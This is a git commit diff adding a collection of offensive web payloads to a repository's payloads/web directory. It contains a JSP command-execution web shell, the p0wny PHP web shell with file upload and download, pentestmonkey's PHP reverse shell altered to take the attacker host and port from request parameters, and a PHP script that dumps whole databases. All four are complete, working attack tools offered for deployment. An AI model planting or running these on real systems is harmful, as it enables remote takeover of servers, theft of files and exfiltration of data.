Repository restructuring
This commit is contained in:
27
payloads/web/jsp-webshell.jsp
Normal file
27
payloads/web/jsp-webshell.jsp
Normal file
@@ -0,0 +1,27 @@
|
||||
<%@ page import="java.util.*,java.io.*"%>
|
||||
<%
|
||||
%>
|
||||
<HTML><BODY>
|
||||
Commands with JSP
|
||||
<FORM METHOD="GET" NAME="myform" ACTION="">
|
||||
<INPUT TYPE="text" NAME="cmd">
|
||||
<INPUT TYPE="submit" VALUE="Send">
|
||||
</FORM>
|
||||
<pre>
|
||||
<%
|
||||
if (request.getParameter("cmd") != null) {
|
||||
out.println("Command: " + request.getParameter("cmd") + "<BR>");
|
||||
|
||||
Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
|
||||
OutputStream os = p.getOutputStream();
|
||||
InputStream in = p.getInputStream();
|
||||
DataInputStream dis = new DataInputStream(in);
|
||||
String disr = dis.readLine();
|
||||
while ( disr != null ) {
|
||||
out.println(disr);
|
||||
disr = dis.readLine();
|
||||
}
|
||||
}
|
||||
%>
|
||||
</pre>
|
||||
</BODY></HTML>
|
||||
605
payloads/web/p0wny-shell.php
Normal file
605
payloads/web/p0wny-shell.php
Normal file
@@ -0,0 +1,605 @@
|
||||
<?php
|
||||
|
||||
$SHELL_CONFIG = array(
|
||||
'username' => 'p0wny',
|
||||
'hostname' => 'shell',
|
||||
);
|
||||
|
||||
function expandPath($path) {
|
||||
if (preg_match("#^(~[a-zA-Z0-9_.-]*)(/.*)?$#", $path, $match)) {
|
||||
exec("echo $match[1]", $stdout);
|
||||
return $stdout[0] . $match[2];
|
||||
}
|
||||
return $path;
|
||||
}
|
||||
|
||||
function allFunctionExist($list = array()) {
|
||||
foreach ($list as $entry) {
|
||||
if (!function_exists($entry)) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
function executeCommand($cmd) {
|
||||
$output = '';
|
||||
if (function_exists('exec')) {
|
||||
exec($cmd, $output);
|
||||
$output = implode("\n", $output);
|
||||
} else if (function_exists('shell_exec')) {
|
||||
$output = shell_exec($cmd);
|
||||
} else if (allFunctionExist(array('system', 'ob_start', 'ob_get_contents', 'ob_end_clean'))) {
|
||||
ob_start();
|
||||
system($cmd);
|
||||
$output = ob_get_contents();
|
||||
ob_end_clean();
|
||||
} else if (allFunctionExist(array('passthru', 'ob_start', 'ob_get_contents', 'ob_end_clean'))) {
|
||||
ob_start();
|
||||
passthru($cmd);
|
||||
$output = ob_get_contents();
|
||||
ob_end_clean();
|
||||
} else if (allFunctionExist(array('popen', 'feof', 'fread', 'pclose'))) {
|
||||
$handle = popen($cmd, 'r');
|
||||
while (!feof($handle)) {
|
||||
$output .= fread($handle, 4096);
|
||||
}
|
||||
pclose($handle);
|
||||
} else if (allFunctionExist(array('proc_open', 'stream_get_contents', 'proc_close'))) {
|
||||
$handle = proc_open($cmd, array(0 => array('pipe', 'r'), 1 => array('pipe', 'w')), $pipes);
|
||||
$output = stream_get_contents($pipes[1]);
|
||||
proc_close($handle);
|
||||
}
|
||||
return $output;
|
||||
}
|
||||
|
||||
function isRunningWindows() {
|
||||
return stripos(PHP_OS, "WIN") === 0;
|
||||
}
|
||||
|
||||
function featureShell($cmd, $cwd) {
|
||||
$stdout = "";
|
||||
|
||||
if (preg_match("/^\s*cd\s*(2>&1)?$/", $cmd)) {
|
||||
chdir(expandPath("~"));
|
||||
} elseif (preg_match("/^\s*cd\s+(.+)\s*(2>&1)?$/", $cmd)) {
|
||||
chdir($cwd);
|
||||
preg_match("/^\s*cd\s+([^\s]+)\s*(2>&1)?$/", $cmd, $match);
|
||||
chdir(expandPath($match[1]));
|
||||
} elseif (preg_match("/^\s*download\s+[^\s]+\s*(2>&1)?$/", $cmd)) {
|
||||
chdir($cwd);
|
||||
preg_match("/^\s*download\s+([^\s]+)\s*(2>&1)?$/", $cmd, $match);
|
||||
return featureDownload($match[1]);
|
||||
} else {
|
||||
chdir($cwd);
|
||||
$stdout = executeCommand($cmd);
|
||||
}
|
||||
|
||||
return array(
|
||||
"stdout" => base64_encode($stdout),
|
||||
"cwd" => base64_encode(getcwd())
|
||||
);
|
||||
}
|
||||
|
||||
function featurePwd() {
|
||||
return array("cwd" => base64_encode(getcwd()));
|
||||
}
|
||||
|
||||
function featureHint($fileName, $cwd, $type) {
|
||||
chdir($cwd);
|
||||
if ($type == 'cmd') {
|
||||
$cmd = "compgen -c $fileName";
|
||||
} else {
|
||||
$cmd = "compgen -f $fileName";
|
||||
}
|
||||
$cmd = "/bin/bash -c \"$cmd\"";
|
||||
$files = explode("\n", shell_exec($cmd));
|
||||
foreach ($files as &$filename) {
|
||||
$filename = base64_encode($filename);
|
||||
}
|
||||
return array(
|
||||
'files' => $files,
|
||||
);
|
||||
}
|
||||
|
||||
function featureDownload($filePath) {
|
||||
$file = @file_get_contents($filePath);
|
||||
if ($file === FALSE) {
|
||||
return array(
|
||||
'stdout' => base64_encode('File not found / no read permission.'),
|
||||
'cwd' => base64_encode(getcwd())
|
||||
);
|
||||
} else {
|
||||
return array(
|
||||
'name' => base64_encode(basename($filePath)),
|
||||
'file' => base64_encode($file)
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
function featureUpload($path, $file, $cwd) {
|
||||
chdir($cwd);
|
||||
$f = @fopen($path, 'wb');
|
||||
if ($f === FALSE) {
|
||||
return array(
|
||||
'stdout' => base64_encode('Invalid path / no write permission.'),
|
||||
'cwd' => base64_encode(getcwd())
|
||||
);
|
||||
} else {
|
||||
fwrite($f, base64_decode($file));
|
||||
fclose($f);
|
||||
return array(
|
||||
'stdout' => base64_encode('Done.'),
|
||||
'cwd' => base64_encode(getcwd())
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
function initShellConfig() {
|
||||
global $SHELL_CONFIG;
|
||||
|
||||
if (isRunningWindows()) {
|
||||
$username = getenv('USERNAME');
|
||||
if ($username !== false) {
|
||||
$SHELL_CONFIG['username'] = $username;
|
||||
}
|
||||
} else {
|
||||
$pwuid = posix_getpwuid(posix_geteuid());
|
||||
if ($pwuid !== false) {
|
||||
$SHELL_CONFIG['username'] = $pwuid['name'];
|
||||
}
|
||||
}
|
||||
|
||||
$hostname = gethostname();
|
||||
if ($hostname !== false) {
|
||||
$SHELL_CONFIG['hostname'] = $hostname;
|
||||
}
|
||||
}
|
||||
|
||||
if (isset($_GET["feature"])) {
|
||||
|
||||
$response = NULL;
|
||||
|
||||
switch ($_GET["feature"]) {
|
||||
case "shell":
|
||||
$cmd = $_POST['cmd'];
|
||||
if (!preg_match('/2>/', $cmd)) {
|
||||
$cmd .= ' 2>&1';
|
||||
}
|
||||
$response = featureShell($cmd, $_POST["cwd"]);
|
||||
break;
|
||||
case "pwd":
|
||||
$response = featurePwd();
|
||||
break;
|
||||
case "hint":
|
||||
$response = featureHint($_POST['filename'], $_POST['cwd'], $_POST['type']);
|
||||
break;
|
||||
case 'upload':
|
||||
$response = featureUpload($_POST['path'], $_POST['file'], $_POST['cwd']);
|
||||
}
|
||||
|
||||
header("Content-Type: application/json");
|
||||
echo json_encode($response);
|
||||
die();
|
||||
} else {
|
||||
initShellConfig();
|
||||
}
|
||||
|
||||
?><!DOCTYPE html>
|
||||
|
||||
<html>
|
||||
|
||||
<head>
|
||||
<meta charset="UTF-8" />
|
||||
<title>p0wny@shell:~#</title>
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
|
||||
<style>
|
||||
html, body {
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
background: #333;
|
||||
color: #eee;
|
||||
font-family: monospace;
|
||||
width: 100vw;
|
||||
height: 100vh;
|
||||
overflow: hidden;
|
||||
}
|
||||
|
||||
*::-webkit-scrollbar-track {
|
||||
border-radius: 8px;
|
||||
background-color: #353535;
|
||||
}
|
||||
|
||||
*::-webkit-scrollbar {
|
||||
width: 8px;
|
||||
height: 8px;
|
||||
}
|
||||
|
||||
*::-webkit-scrollbar-thumb {
|
||||
border-radius: 8px;
|
||||
-webkit-box-shadow: inset 0 0 6px rgba(0,0,0,.3);
|
||||
background-color: #bcbcbc;
|
||||
}
|
||||
|
||||
#shell {
|
||||
background: #222;
|
||||
box-shadow: 0 0 5px rgba(0, 0, 0, .3);
|
||||
font-size: 10pt;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
align-items: stretch;
|
||||
max-width: calc(100vw - 2 * var(--shell-margin));
|
||||
max-height: calc(100vh - 2 * var(--shell-margin));
|
||||
resize: both;
|
||||
overflow: hidden;
|
||||
width: 100%;
|
||||
height: 100%;
|
||||
margin: var(--shell-margin) auto;
|
||||
}
|
||||
|
||||
#shell-content {
|
||||
overflow: auto;
|
||||
padding: 5px;
|
||||
white-space: pre-wrap;
|
||||
flex-grow: 1;
|
||||
}
|
||||
|
||||
#shell-logo {
|
||||
font-weight: bold;
|
||||
color: #FF4180;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
:root {
|
||||
--shell-margin: 25px;
|
||||
}
|
||||
|
||||
@media (min-width: 1200px) {
|
||||
:root {
|
||||
--shell-margin: 50px !important;
|
||||
}
|
||||
}
|
||||
|
||||
@media (max-width: 991px),
|
||||
(max-height: 600px) {
|
||||
#shell-logo {
|
||||
font-size: 6px;
|
||||
margin: -25px 0;
|
||||
}
|
||||
:root {
|
||||
--shell-margin: 0 !important;
|
||||
}
|
||||
#shell {
|
||||
resize: none;
|
||||
}
|
||||
}
|
||||
|
||||
@media (max-width: 767px) {
|
||||
#shell-input {
|
||||
flex-direction: column;
|
||||
}
|
||||
}
|
||||
|
||||
@media (max-width: 320px) {
|
||||
#shell-logo {
|
||||
font-size: 5px;
|
||||
}
|
||||
}
|
||||
|
||||
.shell-prompt {
|
||||
font-weight: bold;
|
||||
color: #75DF0B;
|
||||
}
|
||||
|
||||
.shell-prompt > span {
|
||||
color: #1BC9E7;
|
||||
}
|
||||
|
||||
#shell-input {
|
||||
display: flex;
|
||||
box-shadow: 0 -1px 0 rgba(0, 0, 0, .3);
|
||||
border-top: rgba(255, 255, 255, .05) solid 1px;
|
||||
padding: 10px 0;
|
||||
}
|
||||
|
||||
#shell-input > label {
|
||||
flex-grow: 0;
|
||||
display: block;
|
||||
padding: 0 5px;
|
||||
height: 30px;
|
||||
line-height: 30px;
|
||||
}
|
||||
|
||||
#shell-input #shell-cmd {
|
||||
height: 30px;
|
||||
line-height: 30px;
|
||||
border: none;
|
||||
background: transparent;
|
||||
color: #eee;
|
||||
font-family: monospace;
|
||||
font-size: 10pt;
|
||||
width: 100%;
|
||||
align-self: center;
|
||||
box-sizing: border-box;
|
||||
}
|
||||
|
||||
#shell-input div {
|
||||
flex-grow: 1;
|
||||
align-items: stretch;
|
||||
}
|
||||
|
||||
#shell-input input {
|
||||
outline: none;
|
||||
}
|
||||
</style>
|
||||
|
||||
<script>
|
||||
var SHELL_CONFIG = <?php echo json_encode($SHELL_CONFIG); ?>;
|
||||
var CWD = null;
|
||||
var commandHistory = [];
|
||||
var historyPosition = 0;
|
||||
var eShellCmdInput = null;
|
||||
var eShellContent = null;
|
||||
|
||||
function _insertCommand(command) {
|
||||
eShellContent.innerHTML += "\n\n";
|
||||
eShellContent.innerHTML += '<span class=\"shell-prompt\">' + genPrompt(CWD) + '</span> ';
|
||||
eShellContent.innerHTML += escapeHtml(command);
|
||||
eShellContent.innerHTML += "\n";
|
||||
eShellContent.scrollTop = eShellContent.scrollHeight;
|
||||
}
|
||||
|
||||
function _insertStdout(stdout) {
|
||||
eShellContent.innerHTML += escapeHtml(stdout);
|
||||
eShellContent.scrollTop = eShellContent.scrollHeight;
|
||||
}
|
||||
|
||||
function _defer(callback) {
|
||||
setTimeout(callback, 0);
|
||||
}
|
||||
|
||||
function featureShell(command) {
|
||||
|
||||
_insertCommand(command);
|
||||
if (/^\s*upload\s+[^\s]+\s*$/.test(command)) {
|
||||
featureUpload(command.match(/^\s*upload\s+([^\s]+)\s*$/)[1]);
|
||||
} else if (/^\s*clear\s*$/.test(command)) {
|
||||
// Backend shell TERM environment variable not set. Clear command history from UI but keep in buffer
|
||||
eShellContent.innerHTML = '';
|
||||
} else {
|
||||
makeRequest("?feature=shell", {cmd: command, cwd: CWD}, function (response) {
|
||||
if (response.hasOwnProperty('file')) {
|
||||
featureDownload(atob(response.name), response.file)
|
||||
} else {
|
||||
_insertStdout(atob(response.stdout));
|
||||
updateCwd(atob(response.cwd));
|
||||
}
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
function featureHint() {
|
||||
if (eShellCmdInput.value.trim().length === 0) return; // field is empty -> nothing to complete
|
||||
|
||||
function _requestCallback(data) {
|
||||
if (data.files.length <= 1) return; // no completion
|
||||
data.files = data.files.map(function(file){
|
||||
return atob(file);
|
||||
});
|
||||
if (data.files.length === 2) {
|
||||
if (type === 'cmd') {
|
||||
eShellCmdInput.value = data.files[0];
|
||||
} else {
|
||||
var currentValue = eShellCmdInput.value;
|
||||
eShellCmdInput.value = currentValue.replace(/([^\s]*)$/, data.files[0]);
|
||||
}
|
||||
} else {
|
||||
_insertCommand(eShellCmdInput.value);
|
||||
_insertStdout(data.files.join("\n"));
|
||||
}
|
||||
}
|
||||
|
||||
var currentCmd = eShellCmdInput.value.split(" ");
|
||||
var type = (currentCmd.length === 1) ? "cmd" : "file";
|
||||
var fileName = (type === "cmd") ? currentCmd[0] : currentCmd[currentCmd.length - 1];
|
||||
|
||||
makeRequest(
|
||||
"?feature=hint",
|
||||
{
|
||||
filename: fileName,
|
||||
cwd: CWD,
|
||||
type: type
|
||||
},
|
||||
_requestCallback
|
||||
);
|
||||
|
||||
}
|
||||
|
||||
function featureDownload(name, file) {
|
||||
var element = document.createElement('a');
|
||||
element.setAttribute('href', 'data:application/octet-stream;base64,' + file);
|
||||
element.setAttribute('download', name);
|
||||
element.style.display = 'none';
|
||||
document.body.appendChild(element);
|
||||
element.click();
|
||||
document.body.removeChild(element);
|
||||
_insertStdout('Done.');
|
||||
}
|
||||
|
||||
function featureUpload(path) {
|
||||
var element = document.createElement('input');
|
||||
element.setAttribute('type', 'file');
|
||||
element.style.display = 'none';
|
||||
document.body.appendChild(element);
|
||||
element.addEventListener('change', function () {
|
||||
var promise = getBase64(element.files[0]);
|
||||
promise.then(function (file) {
|
||||
makeRequest('?feature=upload', {path: path, file: file, cwd: CWD}, function (response) {
|
||||
_insertStdout(atob(response.stdout));
|
||||
updateCwd(atob(response.cwd));
|
||||
});
|
||||
}, function () {
|
||||
_insertStdout('An unknown client-side error occurred.');
|
||||
});
|
||||
});
|
||||
element.click();
|
||||
document.body.removeChild(element);
|
||||
}
|
||||
|
||||
function getBase64(file, onLoadCallback) {
|
||||
return new Promise(function(resolve, reject) {
|
||||
var reader = new FileReader();
|
||||
reader.onload = function() { resolve(reader.result.match(/base64,(.*)$/)[1]); };
|
||||
reader.onerror = reject;
|
||||
reader.readAsDataURL(file);
|
||||
});
|
||||
}
|
||||
|
||||
function genPrompt(cwd) {
|
||||
cwd = cwd || "~";
|
||||
var shortCwd = cwd;
|
||||
if (cwd.split("/").length > 3) {
|
||||
var splittedCwd = cwd.split("/");
|
||||
shortCwd = "…/" + splittedCwd[splittedCwd.length-2] + "/" + splittedCwd[splittedCwd.length-1];
|
||||
}
|
||||
return SHELL_CONFIG["username"] + "@" + SHELL_CONFIG["hostname"] + ":<span title=\"" + cwd + "\">" + shortCwd + "</span>#";
|
||||
}
|
||||
|
||||
function updateCwd(cwd) {
|
||||
if (cwd) {
|
||||
CWD = cwd;
|
||||
_updatePrompt();
|
||||
return;
|
||||
}
|
||||
makeRequest("?feature=pwd", {}, function(response) {
|
||||
CWD = atob(response.cwd);
|
||||
_updatePrompt();
|
||||
});
|
||||
|
||||
}
|
||||
|
||||
function escapeHtml(string) {
|
||||
return string
|
||||
.replace(/&/g, "&")
|
||||
.replace(/</g, "<")
|
||||
.replace(/>/g, ">");
|
||||
}
|
||||
|
||||
function _updatePrompt() {
|
||||
var eShellPrompt = document.getElementById("shell-prompt");
|
||||
eShellPrompt.innerHTML = genPrompt(CWD);
|
||||
}
|
||||
|
||||
function _onShellCmdKeyDown(event) {
|
||||
switch (event.key) {
|
||||
case "Enter":
|
||||
featureShell(eShellCmdInput.value);
|
||||
insertToHistory(eShellCmdInput.value);
|
||||
eShellCmdInput.value = "";
|
||||
break;
|
||||
case "ArrowUp":
|
||||
if (historyPosition > 0) {
|
||||
historyPosition--;
|
||||
eShellCmdInput.blur();
|
||||
eShellCmdInput.value = commandHistory[historyPosition];
|
||||
_defer(function() {
|
||||
eShellCmdInput.focus();
|
||||
});
|
||||
}
|
||||
break;
|
||||
case "ArrowDown":
|
||||
if (historyPosition >= commandHistory.length) {
|
||||
break;
|
||||
}
|
||||
historyPosition++;
|
||||
if (historyPosition === commandHistory.length) {
|
||||
eShellCmdInput.value = "";
|
||||
} else {
|
||||
eShellCmdInput.blur();
|
||||
eShellCmdInput.focus();
|
||||
eShellCmdInput.value = commandHistory[historyPosition];
|
||||
}
|
||||
break;
|
||||
case 'Tab':
|
||||
event.preventDefault();
|
||||
featureHint();
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
function insertToHistory(cmd) {
|
||||
commandHistory.push(cmd);
|
||||
historyPosition = commandHistory.length;
|
||||
}
|
||||
|
||||
function makeRequest(url, params, callback) {
|
||||
function getQueryString() {
|
||||
var a = [];
|
||||
for (var key in params) {
|
||||
if (params.hasOwnProperty(key)) {
|
||||
a.push(encodeURIComponent(key) + "=" + encodeURIComponent(params[key]));
|
||||
}
|
||||
}
|
||||
return a.join("&");
|
||||
}
|
||||
var xhr = new XMLHttpRequest();
|
||||
xhr.open("POST", url, true);
|
||||
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
|
||||
xhr.onreadystatechange = function() {
|
||||
if (xhr.readyState === 4 && xhr.status === 200) {
|
||||
try {
|
||||
var responseJson = JSON.parse(xhr.responseText);
|
||||
callback(responseJson);
|
||||
} catch (error) {
|
||||
alert("Error while parsing response: " + error);
|
||||
}
|
||||
}
|
||||
};
|
||||
xhr.send(getQueryString());
|
||||
}
|
||||
|
||||
document.onclick = function(event) {
|
||||
event = event || window.event;
|
||||
var selection = window.getSelection();
|
||||
var target = event.target || event.srcElement;
|
||||
|
||||
if (target.tagName === "SELECT") {
|
||||
return;
|
||||
}
|
||||
|
||||
if (!selection.toString()) {
|
||||
eShellCmdInput.focus();
|
||||
}
|
||||
};
|
||||
|
||||
window.onload = function() {
|
||||
eShellCmdInput = document.getElementById("shell-cmd");
|
||||
eShellContent = document.getElementById("shell-content");
|
||||
updateCwd();
|
||||
eShellCmdInput.focus();
|
||||
};
|
||||
</script>
|
||||
</head>
|
||||
|
||||
<body>
|
||||
<div id="shell">
|
||||
<pre id="shell-content">
|
||||
<div id="shell-logo">
|
||||
___ ____ _ _ _ _ _ <span></span>
|
||||
_ __ / _ \__ ___ __ _ _ / __ \ ___| |__ ___| | |_ /\/|| || |_ <span></span>
|
||||
| '_ \| | | \ \ /\ / / '_ \| | | |/ / _` / __| '_ \ / _ \ | (_)/\/_ .. _|<span></span>
|
||||
| |_) | |_| |\ V V /| | | | |_| | | (_| \__ \ | | | __/ | |_ |_ _|<span></span>
|
||||
| .__/ \___/ \_/\_/ |_| |_|\__, |\ \__,_|___/_| |_|\___|_|_(_) |_||_| <span></span>
|
||||
|_| |___/ \____/ <span></span>
|
||||
</div>
|
||||
</pre>
|
||||
<div id="shell-input">
|
||||
<label for="shell-cmd" id="shell-prompt" class="shell-prompt">???</label>
|
||||
<div>
|
||||
<input id="shell-cmd" name="cmd" onkeydown="_onShellCmdKeyDown(event)"/>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
189
payloads/web/php-reverse-shell.php
Normal file
189
payloads/web/php-reverse-shell.php
Normal file
@@ -0,0 +1,189 @@
|
||||
<?php
|
||||
// php-reverse-shell - A Reverse Shell implementation in PHP
|
||||
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
|
||||
//
|
||||
// This tool may be used for legal purposes only. Users take full responsibility
|
||||
// for any actions performed using this tool. The author accepts no liability
|
||||
// for damage caused by this tool. If these terms are not acceptable to you, then
|
||||
// do not use this tool.
|
||||
//
|
||||
// In all other respects the GPL version 2 applies:
|
||||
//
|
||||
// This program is free software; you can redistribute it and/or modify
|
||||
// it under the terms of the GNU General Public License version 2 as
|
||||
// published by the Free Software Foundation.
|
||||
//
|
||||
// This program is distributed in the hope that it will be useful,
|
||||
// but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
// GNU General Public License for more details.
|
||||
//
|
||||
// You should have received a copy of the GNU General Public License along
|
||||
// with this program; if not, write to the Free Software Foundation, Inc.,
|
||||
// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
|
||||
//
|
||||
// This tool may be used for legal purposes only. Users take full responsibility
|
||||
// for any actions performed using this tool. If these terms are not acceptable to
|
||||
// you, then do not use this tool.
|
||||
//
|
||||
// You are encouraged to send comments, improvements or suggestions to
|
||||
// me at pentestmonkey@pentestmonkey.net
|
||||
//
|
||||
// Description
|
||||
// -----------
|
||||
// This script will make an outbound TCP connection to a hardcoded IP and port.
|
||||
// The recipient will be given a shell running as the current user (apache normally).
|
||||
//
|
||||
// Limitations
|
||||
// -----------
|
||||
// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
|
||||
// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
|
||||
// Some compile-time options are needed for daemonisation (like pcntl, posix). These are rarely available.
|
||||
//
|
||||
// Usage
|
||||
// -----
|
||||
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.
|
||||
|
||||
set_time_limit (0);
|
||||
$VERSION = "1.0";
|
||||
$ip = $_GET["LHOST"];
|
||||
$port = intval($_GET["LPORT"]);
|
||||
$chunk_size = 1400;
|
||||
$write_a = null;
|
||||
$error_a = null;
|
||||
$shell = $_GET["SHELL"] ?? 'uname -a; w; id; /bin/sh -i';
|
||||
$daemon = 0;
|
||||
$debug = 0;
|
||||
|
||||
//
|
||||
// Daemonise ourself if possible to avoid zombies later
|
||||
//
|
||||
|
||||
// pcntl_fork is hardly ever available, but will allow us to daemonise
|
||||
// our php process and avoid zombies. Worth a try...
|
||||
if (function_exists('pcntl_fork')) {
|
||||
// Fork and have the parent process exit
|
||||
$pid = pcntl_fork();
|
||||
|
||||
if ($pid == -1) {
|
||||
printit("ERROR: Can't fork");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
if ($pid) {
|
||||
exit(0); // Parent exits
|
||||
}
|
||||
|
||||
// Make the current process a session leader
|
||||
// Will only succeed if we forked
|
||||
if (posix_setsid() == -1) {
|
||||
printit("Error: Can't setsid()");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
$daemon = 1;
|
||||
} else {
|
||||
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
|
||||
}
|
||||
|
||||
// Change to a safe directory
|
||||
chdir("/");
|
||||
|
||||
// Remove any umask we inherited
|
||||
umask(0);
|
||||
|
||||
//
|
||||
// Do the reverse shell...
|
||||
//
|
||||
|
||||
// Open reverse connection
|
||||
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
|
||||
if (!$sock) {
|
||||
printit("$errstr ($errno)");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
// Spawn shell process
|
||||
$descriptorspec = array(
|
||||
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
|
||||
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
|
||||
2 => array("pipe", "w") // stderr is a pipe that the child will write to
|
||||
);
|
||||
|
||||
$process = proc_open($shell, $descriptorspec, $pipes);
|
||||
|
||||
if (!is_resource($process)) {
|
||||
printit("ERROR: Can't spawn shell");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
// Set everything to non-blocking
|
||||
// Reason: Occsionally reads will block, even though stream_select tells us they won't
|
||||
stream_set_blocking($pipes[0], 0);
|
||||
stream_set_blocking($pipes[1], 0);
|
||||
stream_set_blocking($pipes[2], 0);
|
||||
stream_set_blocking($sock, 0);
|
||||
|
||||
printit("Successfully opened reverse shell to $ip:$port");
|
||||
|
||||
while (1) {
|
||||
// Check for end of TCP connection
|
||||
if (feof($sock)) {
|
||||
printit("ERROR: Shell connection terminated");
|
||||
break;
|
||||
}
|
||||
|
||||
// Check for end of STDOUT
|
||||
if (feof($pipes[1])) {
|
||||
printit("ERROR: Shell process terminated");
|
||||
break;
|
||||
}
|
||||
|
||||
// Wait until a command is end down $sock, or some
|
||||
// command output is available on STDOUT or STDERR
|
||||
$read_a = array($sock, $pipes[1], $pipes[2]);
|
||||
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
|
||||
|
||||
// If we can read from the TCP socket, send
|
||||
// data to process's STDIN
|
||||
if (in_array($sock, $read_a)) {
|
||||
if ($debug) printit("SOCK READ");
|
||||
$input = fread($sock, $chunk_size);
|
||||
if ($debug) printit("SOCK: $input");
|
||||
fwrite($pipes[0], $input);
|
||||
}
|
||||
|
||||
// If we can read from the process's STDOUT
|
||||
// send data down tcp connection
|
||||
if (in_array($pipes[1], $read_a)) {
|
||||
if ($debug) printit("STDOUT READ");
|
||||
$input = fread($pipes[1], $chunk_size);
|
||||
if ($debug) printit("STDOUT: $input");
|
||||
fwrite($sock, $input);
|
||||
}
|
||||
|
||||
// If we can read from the process's STDERR
|
||||
// send data down tcp connection
|
||||
if (in_array($pipes[2], $read_a)) {
|
||||
if ($debug) printit("STDERR READ");
|
||||
$input = fread($pipes[2], $chunk_size);
|
||||
if ($debug) printit("STDERR: $input");
|
||||
fwrite($sock, $input);
|
||||
}
|
||||
}
|
||||
|
||||
fclose($sock);
|
||||
fclose($pipes[0]);
|
||||
fclose($pipes[1]);
|
||||
fclose($pipes[2]);
|
||||
proc_close($process);
|
||||
|
||||
// Like print, but does nothing if we've daemonised ourself
|
||||
// (I can't figure out how to redirect STDOUT like a proper daemon)
|
||||
function printit ($string) {
|
||||
if (!$daemon) {
|
||||
print "$string\n";
|
||||
}
|
||||
}
|
||||
|
||||
?>
|
||||
91
payloads/web/sql.php
Normal file
91
payloads/web/sql.php
Normal file
@@ -0,0 +1,91 @@
|
||||
<?php
|
||||
|
||||
error_reporting(E_ALL);
|
||||
if (function_exists("mysqli_connect")) {
|
||||
$db_driver = "mysqli";
|
||||
} else if (class_exists("PDO")) {
|
||||
$db_driver = "PDO";
|
||||
} else {
|
||||
die("Neither mysqli nor PDO could be found. Exiting.");
|
||||
}
|
||||
|
||||
if (php_sapi_name() === "cli") {
|
||||
$username = $argv[1];
|
||||
$password = $argv[2];
|
||||
$database = $argv[3] ?? null;
|
||||
$host = $argv[4] ?? "localhost";
|
||||
$query = $argv[5] ?? "SELECT @@version";
|
||||
$dump_all = $query === "mysqldump";
|
||||
} else {
|
||||
$username = $_REQUEST["username"];
|
||||
$password = $_REQUEST["password"];
|
||||
$database = (isset($_REQUEST["database"]) ? $_REQUEST["database"] : null);
|
||||
$host = (isset($_REQUEST["host"]) ? $_REQUEST["host"] : "localhost");
|
||||
$query = (isset($_REQUEST["query"]) ? $_REQUEST["query"] : "SELECT @@version");
|
||||
$dump_all = isset($_REQUEST["dumpAll"]);
|
||||
}
|
||||
|
||||
if ($db_driver === "mysqli") {
|
||||
$link = mysqli_connect($host, $username, $password, $database);
|
||||
if (!$link) {
|
||||
die("Error connecting to mysql: " . mysqli_connect_error() . " (" . mysqli_connect_errno() . ")");
|
||||
}
|
||||
} else if ($db_driver === "PDO") {
|
||||
$databaseStr = $database ? ";dbname=$database" : "";
|
||||
$link = new PDO("mysql:host=$host$databaseStr", $username, $password);
|
||||
$link->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
|
||||
}
|
||||
|
||||
if ($dump_all) {
|
||||
$tables = array();
|
||||
|
||||
if ($db_driver === "mysqli") {
|
||||
$res = mysqli_query($link, "SELECT TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA='$database'");
|
||||
while ($row = $res->fetch_assoc()) {
|
||||
$tables[] = $row["TABLE_NAME"];
|
||||
}
|
||||
} else if ($db_driver === "PDO") {
|
||||
$stmt = $link->query("SELECT TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA='$database'");
|
||||
while ($row = $stmt->fetch(PDO::FETCH_ASSOC)) {
|
||||
$tables[] = $row["TABLE_NAME"];
|
||||
}
|
||||
}
|
||||
|
||||
foreach ($tables as $tableName) {
|
||||
echo "-- DATA FOR TABLE: tableName\n";
|
||||
if ($db_driver === "mysqli") {
|
||||
$res = mysqli_query($link, "SELECT * FROM $tableName");
|
||||
while ($row = $res->fetch_assoc()) {
|
||||
print_r($row);
|
||||
}
|
||||
} else if ($db_driver === "PDO") {
|
||||
$stmt = $link->query("SELECT * FROM $tableName");
|
||||
while ($row = $stmt->fetch(PDO::FETCH_ASSOC)) {
|
||||
print_r($row);
|
||||
}
|
||||
}
|
||||
echo "-- --------------------------\n\n";
|
||||
}
|
||||
|
||||
} else {
|
||||
if ($db_driver === "mysqli") {
|
||||
$res = mysqli_query($link, $query);
|
||||
if (!$res) {
|
||||
die("Error executing query: " . mysqli_error($link));
|
||||
}
|
||||
|
||||
while ($row = $res->fetch_assoc()) {
|
||||
print_r($row);
|
||||
}
|
||||
} else if ($db_driver === "PDO") {
|
||||
$stmt = $link->query($query);
|
||||
while ($row = $stmt->fetch(PDO::FETCH_ASSOC)) {
|
||||
print_r($row);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if ($db_driver === "mysqli") {
|
||||
mysqli_close($link);
|
||||
}
|
||||
?>
|
||||
